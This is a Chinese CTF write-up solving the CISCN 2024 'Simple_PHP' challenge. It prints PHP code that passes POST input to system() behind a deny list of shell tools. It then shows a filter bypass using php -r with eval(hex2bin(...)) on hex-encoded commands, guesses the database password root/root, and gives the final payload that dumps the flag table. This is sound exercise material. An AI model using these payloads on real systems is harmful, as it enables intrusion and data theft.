CISCN 2024 web Simple_PHP

属于web签到了

<?php

ini_set('open_basedir', '/var/www/html/');

error_reporting(0);

if(isset($_POST['cmd'])){

    $cmd = escapeshellcmd($_POST['cmd']); 

     if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {

         system($cmd);

}

}

show_source(__FILE__);

?>

我第一次见到escapeshellcmd()这个函数,不过可以搜一搜就知道了

观察代码并没有发现禁用php,尝试用php -r 去执行php命令

首先去访问phpinfo,发现可以,但通过一些简单的绕过尝试发现不行

因为linux好多指令被禁用了,考虑16进制-2进制

同样eval函数也没有ban,但base64ban了用到16进制,因为过滤了引号,用到了截断绕过。substr函数

用到hex2bin(substr(_16进制,1)),保证hex2bin能够处理16进制值

OK

去构造ls

也就是说16进制=6563686f20606c73202f60

ae784390c4a9493390d0e36f8b3ba28a.png

发现不存在flag的提示,考虑数据库(经验所得)

那么就得去想办法知道数据库的username和password

那么一般这种情况去尝试弱口令(有些数据库或者后台直接弱口令就出来了)

尝试root 123

发现不行

尝试root root 发现可以也就是我们可以尝试拿到库名和表名也就是说hex2bin(substr(_16进制,1)),这里面的16进制为6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d65202773686f77206461746162617365733b2760(库名)

1732f1540ef74f8c9cb199b2b4ef96fe.png

拿到PHP_CMS(曾经做校赛的时候,遇到渗透题,sqlmap跑看到有PHP_CMS,没继续往下搜,觉得方法不对,然后就弱口令进到后台拿到flag直接非预期hhh,其实当时flag就在PHP_CMS里。。。题外话了),所以这次看到PHP_CMS直接往里面看

16进制=6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b2760(表名)

669502ce702049c090d7508aa221ac7c.png

Ok这下拿到了表名,一眼丁真,

“F1ag_Se3Re7”

16进制=6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73656c656374202a2066726f6d20463161675f5365335265373b27603b

payload:cmd=php-reval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));

(记得是POST提交)!!

8d3cea238b0541e993bfcb85e712e578.png

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值